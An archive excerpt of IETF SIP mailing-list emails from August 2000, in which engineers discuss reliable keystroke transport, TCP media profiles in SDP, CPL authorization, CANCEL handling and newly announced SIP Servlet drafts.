recreating audio + tones with tight synchronization; - just events, for entities that don't care about audio. The above mechanism supports this. In practice, the worst thing that can happen to you is that you get some spurious audio packets. Drop them on the floor and don't forget to empty the bit bucket at the end of the day. It may also be a good idea to have devices implement text transport as a payload type, even if the keyboard is limited to 12 keys. (You'd probably want a mode to use alpha input mode with press-2-twice-to-get-B.) > > RFC 2198 seems to be targeted specifically to reliably delivering audio > by transmitting redundant audio data. I was unable to find any mention > of how single-datum events such as a non-audio keystroke from a SIP > terminal could be made reliable using RFC 2198. (I can think of some > ways, but none of them are specified in the document). I expect that, if > we are to use RFC 2198, we will have to extend it to deal with non-audio > keystrokes. I'm not saying it can't be done, just that we haven't said > how to do it yet. By the way, Colin Perkins, a participant in this > thread, was an author of the 2198 RFC for audio redundancy. Colin, if I > am putting words in your mouth, speak up. Currently, the end of keystrokes (last packet) is retransmitted a setable number of times, according to RFC 2833. > > There are several existing mechanisms for reliable delivery of > single-datum events. TCP, SCTP, and telnet come to mind. Would it be > easier to just select an existing reliable protocol for keystroke > transport, or develop RFC 2198 to the point it could be used for > single-datum non-audio events like a keystroke. Admittedly, it would be > nice to not require another protocol stack in devices that already > implement RTP, but what about things that aren't phones? Should we > require that any SIP device with keys support reliable RTP? Even if it > doesn't have a microphone or speaker? Is reliable RTP simpler or more > complex than the other reliable delivery mechanisms? RTP can already use TCP, but not all devices will support TCP (or the even more complex SCTP). > I DEFINITELY agree with Henning that all SIP terminals should be > required to have the capability to send multiple copies of audio > streams. This should be in the base SIP (or is it SDP) specification. > This functionality is a MUST for a large set applications (virtually > every application my company builds). Multi-party calls, operator > intercept, voice logging, all of these applications would be much more > difficult and costly to implement, if session replication capability is > not present in EVERY SIP terminal (and gateway). All SIP terminals > should also be required to support requests for multiple copies of a > video session. They should all be required to support requests for > multiple copies of a keystroke session. We should consider this as one > of the highest priorities for updates to the basic SIP doc. What is the > process for getting this requirement into the base document? > The IETF doesn't really do device requirements. TIA would be the more appropriate body for this. (SIP is not just for audio devices or devices with keyboards, so I don't think this is appropriate for an IETF standard. There are all kinds of SIP UAs that wouldn't need this capability.) -- Henning Schulzrinne http://www.cs.columbia.edu/~hgs _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Mon Aug 14 11:57:13 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA12982 for ; Mon, 14 Aug 2000 11:57:10 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 536CF44343; Mon, 14 Aug 2000 11:57:05 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from GroupWise.ProdisInc (prodis-router.soho.enteract.com [216.80.24.22]) by lists.bell-labs.com (Postfix) with SMTP id 8AF4344339 for ; Mon, 14 Aug 2000 11:48:23 -0400 (EDT) Received: from ProdisInc-Message_Server by GroupWise.ProdisInc with Novell_GroupWise; Mon, 14 Aug 2000 08:55:45 -0500 Message-Id: X-Mailer: Novell GroupWise 5.5 Date: Mon, 14 Aug 2000 08:55:35 -0500 From: "Dave Kennedy" To: , , Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Disposition: inline Subject: [SIP] Re: [SIPFORUM] Custom information - Newbee question Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id LAA12982 >>PLEASE, folks. Use the main sip list for sip technical questions, NOT >>the sipforum list. Where do i go to sign up for the main sip list? Thanks Dave Kennedy Prodis Incorporated _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Mon Aug 14 12:31:15 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA14157 for ; Mon, 14 Aug 2000 12:31:15 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id D38D844343; Mon, 14 Aug 2000 12:31:03 -0400 (EDT) Delivered-To: sip@share.research.bell-labs.com Received: from crufty.research.bell-labs.com (crufty.research.bell-labs.com [204.178.16.49]) by lists.bell-labs.com (Postfix) with SMTP id 2ADEA44338 for ; Mon, 14 Aug 2000 12:26:03 -0400 (EDT) Received: from lists.bell-labs.com ([135.104.27.211]) by crufty; Mon Aug 14 12:25:13 EDT 2000 Received: by lists.bell-labs.com (Postfix) id 2A2E54436E; Mon, 14 Aug 2000 12:12:04 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from ans.ih.lucent.com (ans.ih.lucent.com [135.2.78.5]) by lists.bell-labs.com (Postfix) with SMTP id D0AEE44347 for ; Mon, 14 Aug 2000 12:12:03 -0400 (EDT) Received: by ans.ih.lucent.com (SMI-8.6/EMS-1.5 sol2) id LAA13262; Mon, 14 Aug 2000 11:12:00 -0500 Cc: sip@lists.bell-labs.com Received: from lucent.com by ans.ih.lucent.com (SMI-8.6/EMS-1.5 sol2) id LAA13254; Mon, 14 Aug 2000 11:11:58 -0500 Message-ID: <39981A4A.E1DDA7D1@lucent.com> Date: Mon, 14 Aug 2000 11:11:54 -0500 From: "Vijay K. Gurbani" Reply-To: vkg@lucent.com Organization: Intelligent Network Unit X-Mailer: Mozilla 4.61 [en] (Win95; U) X-Accept-Language: en MIME-Version: 1.0 To: Dave Kennedy Original-CC: sip@lists.bell-labs.com Subject: Re: [SIP] Re: [SIPFORUM] Custom information - Newbee question References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Dave Kennedy wrote: > > >>PLEASE, folks. Use the main sip list for sip technical questions, > NOT >>the sipforum list. > > Where do i go to sign up for the main sip list? Information on mailing list can be had at: http://www.ietf.org/html.charters/sip-charter.html - vijay -- Vijay K. Gurbani vkg@lucent.com vkg@research.bell-labs.com vkg@acm.org Internet Software Group/Intelligent Network and Instant Messaging Lucent Technologies/Bell Labs Innovations, 263 Shuman Blvd, Rm 1A-418 Naperville, Illinois 60566 Voice: +1 630 224 0216 Fax: +1 630 713 0184 _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Mon Aug 14 16:15:46 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA18213 for ; Mon, 14 Aug 2000 16:15:43 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 7C10144345; Mon, 14 Aug 2000 16:12:00 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from dgesmtp01.wcom.com (dgesmtp01.wcom.com [199.249.16.16]) by lists.bell-labs.com (Postfix) with ESMTP id B685D44338 for ; Mon, 14 Aug 2000 16:11:56 -0400 (EDT) Received: from CONVERSION-DAEMON by firewall.mcit.com (PMDF V5.2-33 #42260) id <0FZA00I01TEE9J@firewall.mcit.com> for sip@lists.bell-labs.com; Mon, 14 Aug 2000 20:11:02 +0000 (GMT) Received: from dgismtp03.wcomnet.com ([166.38.58.143]) by firewall.mcit.com (PMDF V5.2-33 #42260) with ESMTP id <0FZA00G8STEDDG@firewall.mcit.com> for sip@lists.bell-labs.com; Mon, 14 Aug 2000 20:11:01 +0000 (GMT) Received: from CONVERSION-DAEMON by dgismtp03.wcomnet.com (PMDF V5.2-33 #42262) id <0FZA00M01TBZCH@dgismtp03.wcomnet.com> for sip@lists.bell-labs.com; Mon, 14 Aug 2000 20:09:35 +0000 (GMT) Received: from dgismtp03.wcomnet.com by dgismtp03.wcomnet.com (PMDF V5.2-33 #42262) with SMTP id <0FZA00M01TBRBS@dgismtp03.wcomnet.com> for sip@lists.bell-labs.com; Mon, 14 Aug 2000 20:09:35 +0000 (GMT) Received: from omzmta04.mcit.com ([166.37.214.10]) by dgismtp03.wcomnet.com (PMDF V5.2-33 #42262) with ESMTP id <0FZA00K8GTBJ7E@dgismtp03.wcomnet.com> for sip@lists.bell-labs.com; Mon, 14 Aug 2000 20:09:19 +0000 (GMT) Received: from wcom.com ([166.44.154.168]) by omzmta04.mcit.com (InterMail v03.02.07 118-124-101) with ESMTP id <20000814201044.ZRLM662@wcom.com> for ; Mon, 14 Aug 2000 20:10:44 +0000 Date: Mon, 14 Aug 2000 15:12:07 -0500 From: Alan Johnston To: SIP List Message-id: <39985296.A3171EFF@wcom.com> MIME-version: 1.0 X-Mailer: Mozilla 4.7 [en] (Win98; U) Content-type: text/plain; charset=us-ascii Content-transfer-encoding: 7bit X-Accept-Language: en Subject: [SIP] Call Flow I-D Final Review Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit All, As discussed in Pittsburgh, we are ready for the final review of the Call Flows I-D (draft-ietf-sip-call-flows-01.txt). I'm looking for volunteers who will take a couple of sections from the document and go over the examples in detail. I'll give you a list of section numbers and what to check for - all the usual suspects such as missing headers, CSeq and Call-ID inconsistencies, missing tags, etc. I already have a few who have sent me mail, but we need more. Also, I could use some who know ISUP or ISDN to check some of the Gateway scenarios. Send me a mail if you can help - I'll have the version for final review ready by next week. Thanks, Alan Johnston WorldCom _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Mon Aug 14 18:00:07 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA19501 for ; Mon, 14 Aug 2000 18:00:07 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 0DBB444367; Mon, 14 Aug 2000 17:59:55 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from mayo.cisco.com (mayo.cisco.com [161.44.3.207]) by lists.bell-labs.com (Postfix) with ESMTP id C028A44338 for ; Mon, 14 Aug 2000 17:59:52 -0400 (EDT) Received: from cisco.com (mayo.cisco.com [161.44.3.207]) by mayo.cisco.com (8.8.8/2.6/Cisco List Logging/8.8.8) with ESMTP id RAA01794 for ; Mon, 14 Aug 2000 17:58:59 -0400 (EDT) Message-ID: <39986BA3.BEAA8985@cisco.com> Date: Mon, 14 Aug 2000 17:58:59 -0400 From: Nilesh Trivedi Organization: Packet Development Unit X-Mailer: Mozilla 4.08 [en] (X11; U; SunOS 5.6 sun4u) MIME-Version: 1.0 To: sip@lists.bell-labs.com Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: [SIP] Encoding scheme for SIP concealed hosts. Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Hello all, Good afternoon. I was wondering if there's anybody aware of encoding algorithm out there which can be used to encode encrypted host (concealed) so that it fits the 'token' syntax (any open source code??). Also, while handling such hidden hosts should the proxy parser behaviour be lineant to accomodate any characters if it doesn't comply to that required set? Thanks for your suggestions. Have a good day!! Regards, Nilesh. _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Mon Aug 14 19:24:31 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA20399 for ; Mon, 14 Aug 2000 19:24:30 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id AE7604437C; Mon, 14 Aug 2000 19:24:11 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from exchangesvr.nuera.com (unknown [204.216.240.124]) by lists.bell-labs.com (Postfix) with ESMTP id 3C48344377 for ; Mon, 14 Aug 2000 19:24:08 -0400 (EDT) Received: by exchangesvr.nuera.com with Internet Mail Service (5.5.2650.21) id ; Mon, 14 Aug 2000 16:24:17 -0700 Message-ID: From: "Fairlie-Cuninghame, Robert" To: "'David Yon'" , "'Christian Huitema'" , "'Jonathan Rosenberg'" Cc: sip@lists.bell-labs.com Subject: RE: [SIP] SIP, SDP, and TCP-based media transport Date: Mon, 14 Aug 2000 16:24:13 -0700 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Yes, that was my suggestion. Just as there is a "udp" and "RTP/AVP" profile we should create a "tcp" and "RTP/AVP-TCP" SDP profile. People seem to be suggesting uses for both definitions. Robert. > -----Original Message----- > From: David Yon [mailto:yon@dialout.net] > Sent: Monday, August 14, 2000 8:38 PM > To: Fairlie-Cuninghame, Robert; 'Christian Huitema'; 'Jonathan > Rosenberg' > Cc: sip@lists.bell-labs.com > Subject: RE: [SIP] SIP, SDP, and TCP-based media transport > > > I just want to clarify that you are not suggesting that we go > solely with > the "TCP-AVP" nomenclature, yes? Rather, you're suggesting > that we have > "TCP" (or some such that suggests raw TCP with no AVP) *and* a > "RTP/AVP-TCP" which implies RTP/AVP using TCP rather than UDP. > > Have I got that right? > > At 06:59 PM 8/10/00 -0700, Fairlie-Cuninghame, Robert wrote: > > >I still beleive that both a tcp and a RTP/AVP-TCP SDP > profile will have > >their uses. For instance, Henning just mentioned using reliable RTP > >text/digit transport through TCP in another stream. > > > >Robert. > > > David Yon > Chief Technical Officer > Dialout.Net, Inc. > yon@dialout.net > > > > _______________________________________________ > SIP mailing list > SIP@lists.bell-labs.com > http://lists.bell-labs.com/mailman/listinfo/sip > _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Mon Aug 14 19:49:19 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA20584 for ; Mon, 14 Aug 2000 19:49:18 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id B7C9C44393; Mon, 14 Aug 2000 19:48:40 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from mailhub.fokus.gmd.de (mailhub.fokus.gmd.de [193.174.154.14]) by lists.bell-labs.com (Postfix) with ESMTP id D5CC544338 for ; Mon, 14 Aug 2000 19:48:36 -0400 (EDT) Received: from fokus.gmd.de (dhcp007 [195.37.78.135]) by mailhub.fokus.gmd.de (8.8.8/8.8.8) with ESMTP id BAA11774; Tue, 15 Aug 2000 01:48:26 +0200 (MET DST) Message-ID: <39988536.808C3D0B@fokus.gmd.de> Date: Tue, 15 Aug 2000 01:48:06 +0200 From: Jiri Kuthan X-Mailer: Mozilla 4.72 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Tom Gray Cc: sip@lists.bell-labs.com Subject: Re: [SIP] CPL, WML, VoiceXML and SIP Features References: <20000813225354.24469.qmail@web125.yahoomail.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Tom Gray wrote: > An expecially important set of topics would be > areas in which it would be undesirable for a protocol > to be created. > > There was a suggestion here previously that CPL be > extended to encompass switches on authorization. This > is coming perilously near the use of CPL to handle > classes of service. This would be one step on an > infinite journey of defining a call processing > architecture which could not be finished. it would be > like painting the Golden Gate Bridge. When it is done, > it is time to start over. The motivation for the CPL authentication extension is call processing logic may depend on authentication status. Consider, for example, a SIP-2-PSTN gateway. Operator of the gateway may want to provide 800 and local calls for free to anyone whereas LD calls only to authenticated users. Using CPL scripts to specify which calls will be accepted and which not seems the most natural way to me. Note that the CPL extension does not require creating a new protocol. If you still see some complexity of "painting the Golden Bridge" grade, please be more specific. (And please use the iptel mailing list rather than sip.) Jiri _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Mon Aug 14 21:07:58 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA21468 for ; Mon, 14 Aug 2000 21:07:58 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id A58E244399; Mon, 14 Aug 2000 21:06:33 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from web108.yahoomail.com (web108.yahoomail.com [205.180.60.75]) by lists.bell-labs.com (Postfix) with SMTP id 4D1D644393 for ; Mon, 14 Aug 2000 21:06:28 -0400 (EDT) Received: (qmail 14678 invoked by uid 60001); 15 Aug 2000 01:06:08 -0000 Message-ID: <20000815010608.14677.qmail@web108.yahoomail.com> Received: from [206.172.244.115] by web108.yahoomail.com; Mon, 14 Aug 2000 18:06:08 PDT Date: Mon, 14 Aug 2000 18:06:08 -0700 (PDT) From: Tom Gray Subject: Re: [SIP] CPL, WML, VoiceXML and SIP Features To: Jiri Kuthan , iptel@lists.bell-labs.com Cc: sip@lists.bell-labs.com MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com What I see is an endless set of features being added to protocols which were not designed to handle them. What was described below of different services to different classes of users is a type of class of service. Like most call processing, any one portion of it is very simple to describe and probably very simple to implement. Like most call processing, it is only one small part of a total group of services that are very difficult to describe and very difficult to implement. What I am really asking for is a discussion that will delimit the boundaries of what all of these protocols will do so that we will not have an endless succession of small features being added to these protocols. By the time, the exercise of defining all of these small features would be done, the market would have changed and an entirely new set of features would be required. Hence my analogy of painting the Golden Gate Bridge. Tom Gray --- Jiri Kuthan wrote: > Tom Gray wrote: > > An expecially important set of topics would be > > areas in which it would be undesirable for a > protocol > > to be created. > > > > There was a suggestion here previously that CPL be > > extended to encompass switches on authorization. > This > > is coming perilously near the use of CPL to handle > > classes of service. This would be one step on an > > infinite journey of defining a call processing > > architecture which could not be finished. it would > be > > like painting the Golden Gate Bridge. When it is > done, > > it is time to start over. > > The motivation for the CPL authentication extension > is call > processing logic may depend on authentication > status. > Consider, for example, a SIP-2-PSTN gateway. > Operator of > the gateway may want to provide 800 and local calls > for free > to anyone whereas LD calls only to authenticated > users. > Using CPL scripts to specify which calls will be > accepted > and which not seems the most natural way to me. > > Note that the CPL extension does not require > creating > a new protocol. > > If you still see some complexity of "painting the > Golden > Bridge" grade, please be more specific. (And please > use the > iptel mailing list rather than sip.) > > Jiri __________________________________________________ Do You Yahoo!? Yahoo! Mail – Free email you can access from anywhere! http://mail.yahoo.com/ _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Tue Aug 15 03:01:18 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA09011 for ; Tue, 15 Aug 2000 03:01:18 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id A0B5644362; Tue, 15 Aug 2000 03:01:06 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from redball.dynamicsoft.com (redball.dynamicsoft.com [216.173.40.51]) by lists.bell-labs.com (Postfix) with ESMTP id D50AB44338 for ; Tue, 15 Aug 2000 03:01:03 -0400 (EDT) Received: from dynamicsoft.com (1Cust69.tnt1.freehold.nj.da.uu.net [63.17.113.69]) by redball.dynamicsoft.com (8.9.3+Sun/8.10.0.Beta12) with ESMTP id DAA09530; Tue, 15 Aug 2000 03:02:42 -0400 (EDT) Message-ID: <3998EC0E.19D866D5@dynamicsoft.com> Date: Tue, 15 Aug 2000 03:06:54 -0400 From: Jonathan Rosenberg Organization: dynamicsoft X-Mailer: Mozilla 4.7 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Sudipto Mukherjee Cc: sip@lists.bell-labs.com Subject: Re: [SIP] CANCEL & Reliability of provisional responses draft References: <3994707F.D7349A03@cisco.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Sudipto Mukherjee wrote: > > Hi, > > The "reliability of provisional responses" draft mandates that the > To header in PRACK mirror the "tag", if the provisional response > contained one. Also the PRACK must take the path specified by the > Route header, if the provisional response contained Record-route > headers. > > If the UAC needs to send a CANCEL after it has received a > non-100 reliable provisional response with a to-tag and record-route, > > Does the CANCEL still mirror the INVITE being cancelled ? Yes. That behavior is unchanged. > > Or, > Based on the provisional response, > 1. Does the CANCEL mirror the "tag" in To header ? The To field in the CANCEL is the same as the INVITE. > 2. Does the CANCEL take the path specified by the Route header ? No. CANCEL never contains routes. -Jonathan R. -- Jonathan D. Rosenberg 72 Eagle Rock Ave. Chief Scientist First Floor dynamicsoft East Hanover, NJ 07936 jdrosen@dynamicsoft.com FAX: (973) 952-5050 http://www.cs.columbia.edu/~jdrosen PHONE: (732) 741-7244 http://www.dynamicsoft.com _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Tue Aug 15 03:23:57 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA09112 for ; Tue, 15 Aug 2000 03:23:57 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id C394444373; Tue, 15 Aug 2000 03:23:29 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from redball.dynamicsoft.com (redball.dynamicsoft.com [216.173.40.51]) by lists.bell-labs.com (Postfix) with ESMTP id 95F2B44338 for ; Tue, 15 Aug 2000 03:23:26 -0400 (EDT) Received: from dynamicsoft.com (1Cust69.tnt1.freehold.nj.da.uu.net [63.17.113.69]) by redball.dynamicsoft.com (8.9.3+Sun/8.10.0.Beta12) with ESMTP id DAA09548; Tue, 15 Aug 2000 03:24:57 -0400 (EDT) Message-ID: <3998F146.A9EA0761@dynamicsoft.com> Date: Tue, 15 Aug 2000 03:29:10 -0400 From: Jonathan Rosenberg Organization: dynamicsoft X-Mailer: Mozilla 4.7 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: "Fairlie-Cuninghame, Robert" Cc: "'David Yon'" , "'Christian Huitema'" , sip@lists.bell-labs.com Subject: Re: [SIP] SIP, SDP, and TCP-based media transport References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit "Fairlie-Cuninghame, Robert" wrote: > > Yes, that was my suggestion. Just as there is a "udp" and "RTP/AVP" profile > we should create a "tcp" and "RTP/AVP-TCP" SDP profile. People seem to be > suggesting uses for both definitions. > > Robert. I agree as well. I am particularly interested in RTP/AVP-TCP for the purposes of firewall traversal. Answering some of the comments in other emails: > >3. the port number in the m line refers to the port it is listening on > >for connections; this may be meaningless dependending on the next thing > >4. we define a new attribute, tcp, with values of: > > active: the port number is meaningless and the UA sending this SDP > >wishes to open the connection to the remote side > > What if we were to define a port that is the equivalent of PORT_ANY? (which > unfortunately is usually zero---and yes---I know there's no PORT_ANY in > most socket headers :-) ) The UA wishing to be the active side of the > connect can specify a port if possible, or by specifying PORT_ANY it > denotes that it does not know from which port it will be originating the > connect. I want to be sure we are consistent about what the semantic is of values we place inside of SDP. So, lets take a step back. For passive, both and uni, we need to specify the port we are listening on. This port will also be the source port of packets sent back to the host which initiated the connection. For active connections, David wishes to indicate the source port that will be used in the initial SYN packet. I'm still not clear on why this is needed. In any case, these are two different pieces of information, and as such, should be conveyed in separate places. The m line is idea for the listen port. In the case of active connections, I would propose this ALWAYS be 9. In this case, should a foolish firewall open up a hole to port 9, its not a big deal. If active is in use, the a line could contain the source port that will be used: a=direction:active 9384 Christian writes: > "both" is going to have funny results if there are one or 2 NATs on the > path... You should not rely on comparing the binary values of ports or > addresses. I thing that active/passive/uni provides a good match -- or > active/passive/both, leaving it to the app to decide which connection is > used for what purpose. > Good point on NAT. I have no problem combining both uni and both, and allowing apps to decide how they distribute it. We would need to say that implementations need to be prepared to receive packets on either connection. Sounds like we are nearing consensus. If thats the case, someone should write up the 3 page I-D on the subject and we can move forward. -Jonathan R. -- Jonathan D. Rosenberg 72 Eagle Rock Ave. Chief Scientist First Floor dynamicsoft East Hanover, NJ 07936 jdrosen@dynamicsoft.com FAX: (973) 952-5050 http://www.cs.columbia.edu/~jdrosen PHONE: (732) 741-7244 http://www.dynamicsoft.com _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Tue Aug 15 07:28:45 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA11208 for ; Tue, 15 Aug 2000 07:28:45 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id E42B844371; Tue, 15 Aug 2000 07:28:29 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from qhars002.nortel.com (qhars002.NortelNetworks.com [192.100.101.19]) by lists.bell-labs.com (Postfix) with ESMTP id A68C844338 for ; Tue, 15 Aug 2000 07:28:26 -0400 (EDT) Received: from zhard00m.europe.nortel.com (actually zhard00m) by qhars002.nortel.com; Tue, 15 Aug 2000 12:27:36 +0100 Received: by zhard00m.europe.nortel.com with Internet Mail Service (5.5.2652.35) id ; Tue, 15 Aug 2000 12:27:32 +0100 Message-ID: <61ABD11436FED21192440000F81F3E3602BE690B@nwcwi1a.europe.nortel.com> From: "Michael O'Doherty" To: sip Date: Tue, 15 Aug 2000 12:27:29 +0100 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2652.35) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C006AB.CBE4AEF0" Subject: [SIP] SIP Servlet Delivery and SIP Root Servlet drafts available Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C006AB.CBE4AEF0 Content-Type: text/plain; charset="iso-8859-1" Hi, The following internet drafts have been submitted and are now available on the IETF site: http://search.ietf.org/internet-drafts/draft-odoherty-sip-servlet-delivery-0 0.txt Overview: This document proposes a way to distribute SIP Servlets to SIP clients using the SIP protocol itself, including a way to authenticate the source of the Servlet. This may prove a useful mechanism for rolling out new services across multiple SIP clients. In addition it proposes a way for an originating SIP Client to specify in a message generated by it that it wants the message to be passed to a particular named SIP Servlet in the receiving SIP Client. http://search.ietf.org/internet-drafts/draft-odoherty-root-sip-servlet-00.tx t Overview: This Internet draft builds on and refines the SIP Servlet API. The SIP Servlet API defines an API for SIP Clients that allows them, via a SIP Servlet engine, present messages to 'Servlets' which can then interact with the message and the Client to change the behaviour of the SIP Client. This document expands on this concept to: - Suggest a standard way to identity or name SIP Servlets - Introduce the concept of a 'Root' SIP Servlet - Introduce some rules and mechanisms for SIP Servlet interaction - Suggest some Permission parameters for invoked SIP Servlets If anybody has any comments it is probably best to use the SIP Servlet API receiver list at : http://www-uk.hpl.hp.com/people/ak/sip/servlet/ Cheers, Mick O'Doherty Nortel Networks ------_=_NextPart_001_01C006AB.CBE4AEF0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable SIP Servlet Delivery and SIP Root Servlet drafts = available

Hi,

The following internet drafts = have been submitted and are now available on the IETF site:

http://search.ietf.org/internet-drafts/draft-odoherty-= sip-servlet-delivery-00.txt

Overview:
   This = document  proposes a way to distribute SIP Servlets to SIP
   clients using = the SIP protocol itself, including a way to
   authenticate the = source of the Servlet. This may prove a useful
   mechanism for = rolling out new services across multiple SIP
   clients.
